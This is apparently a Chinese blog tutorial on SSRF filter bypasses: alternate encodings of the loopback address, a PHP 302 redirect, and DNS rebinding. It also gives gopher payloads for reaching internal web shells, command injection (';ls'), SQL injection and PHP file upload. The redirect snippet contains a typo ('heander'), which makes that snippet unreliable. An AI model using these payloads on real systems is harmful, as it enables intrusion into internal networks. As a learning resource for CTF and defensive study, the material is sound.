SSRF其它绕过和攻击利用

学习完原理和伪协议后再了解进行一些绕过操作。主要有回环地址绕过、302重定向绕过、DNS重绑定绕过、命令执行利用、SQL注入注意编码、文件上传利用。

一、回环地址绕过

回环地址指127.0.0.1如果127.0.0.1被过滤可以将它转换成其他进制输入。

IP地址
127.0.0.1点分十进制
0b0111111100000000000000000000000132位bit二进制,没有点
017700000001八进制
0x7F000001十六进制

http://127.0.0.1/flag.php

http://017700000001/flag.php    或  http://0177.0000.0000.0001/flag.php

http://0x7F000001/flag.php        或  http://0x7F.0x00.0x00.0x01/flag.php

二、302重定向绕过

若传入的私网地址被限制可以使用302重定向绕过。这需要一台公网服务器和它的公网IP,在服务器中创建重定向的代码文件,提交公网IP路径下的重定向代码文件,使SSRF漏洞服务器或主机访问从而重定向到自己内网地址或本机地址。

简单的重定向代码,将其保存在公网服务器中命名为1.php

<?php
heander('Location:http://127.0.0.1/flag.php');

 提交公网地址访问重定向文件,端口可以在公网服务器设置开放哪个端口,主要是为了方便访问文件。

http://<公网IP>:<某端口>/1.php

 这样公网IP不会被过滤限制,还能使ssrf漏洞服务器重定向到本地内网访问文件。

三、DNS重绑定绕过

针对SSRF漏洞的防御

1、解析目标URL,获取其Host

2、解析Host,获取Host指向的IP地址

3、检查IP地址是否为内网地址

4、请求URL

5、如果有跳转,拿出跳转URL,执行1、

SSRF防御模式

1、获取到输入的URL,从URL中提取Host

2、对该Host进行DNS解析,获取到解析的IP地址;第一次DNS解析

3、检测该IP是否合法,比如是否为私网IP等

4、如果IP检测为合法进入curl的阶段发包;第二次DNS解析

 

 第一次DNS解析是对URL的host进行DNS解析,第二次DNS解析是使用curl发包的时候解析,利用两次DNS解析的时间差进行绕过。

DNS重绑定攻击原理

利用服务器两次解析同一域名的短暂间隙更换域名背后的IP达到绕过。DNS解析服务器不可避免有缓存。TTL机制:域名和IP绑定关系的Cache存活的最长时间。

四、命令执行利用

在SSRF漏洞服务器发现内网主机有命令执行漏洞可以利用。如有漏洞的页面shell.php,可以进行cmd等命令。http://172.250.250.4/shell.php

使用gopher协议GET提交

gopher://172.250.250.4:80/_

GET /shell.php?cmd=ls HTTP/1.1

Host:172.250.250.4

——————————

#端口80不能少

#加入GET提交内容

#注意结尾要有换行符

#bp提交要进行两次URL编码

使用gopher协议POST提交

POST / HTTP/1.1

Host:172.250.250.5

Content-Type:application/x-www-form-urlencode

Content-Length:15

ip=12.0.0.1;ls

——————————

#加入POST提交内容

#Host根据实际更改

#长度根据提交的字符数量更改

#头部信息和提交内容中间空一行

#bp提交要进行两次URL编码

五、SQL注入注意编码

攻防世界very_easy_sql这道题就是SSRF漏洞内网SQL报错注入。

gopher://127.0.0.1:80/_

 bp拦截数据,发送到repeater模块,加入payload进行两次URL编码。

POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

uname=admin&passwd=admin

 SSRF对内网SQL注入时,在SSRF漏洞页面空格要编码成%20,直接敲一个空格是不行的。在浏览器栏中提交本地浏览器发送数据时把参数自动URL编码,也就是此时空格%20又一次被URL编码变成%2520,被两次url编码了。SSRF漏洞服务器被两次url编码的请求,自己先进行一次url解码,根据解码内容(假如http://<内网IP>......)去访问内网主机并把请求的参数带给内网主机,此时内网主机浏览器再做一次url解码执行操作。共解码2次

总结:SSRF对内网SQL注入时(1)在浏览器栏中提交特殊字符要做一次url编码(2)Hackbar和Burpsuite提交GET或POST数据要对构造的原始payload做两次url编码

六、文件上传利用

首先要了解媒体类型multipart/form-data,它遵循multipart MIME数据流定义大概含义就是:媒体类型multipart/form-data的数据体由多个部分组成,这些部分由一个固定边界值(Boundary)分割。需要指定Content-Type为multipart/form-data,并指定唯一边界值。

Content-Type:multipart/form-data;boundary={000}       

{000}为自定义的分界线

构造数据 gopher提交数据:

gopher://127.0.0.1:80/_

POST /Pass-01/index.php HTTP/1.1
Host: 127.0.0.1:80

Content-Type:multipart/form-data;boundary={000}
Content-Length: 269

--{000}

Content-Disposition:form-data;name="upload_file";filename="phpinfo.php"

Content-Type:image/jpeg

<?php phpinfo();?>

--{000}

Content-Disposition:form-data;name="key"

Content-Type:text/plain;charset=UTF-8

text encoded in UTF-8

--{000}--

 每个自定义分界线前面要有两个-,结尾也有两个-

将构造的POST数据在bp中2次url编码提交

 

简单学习下,希望用得到!!

  • 27
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值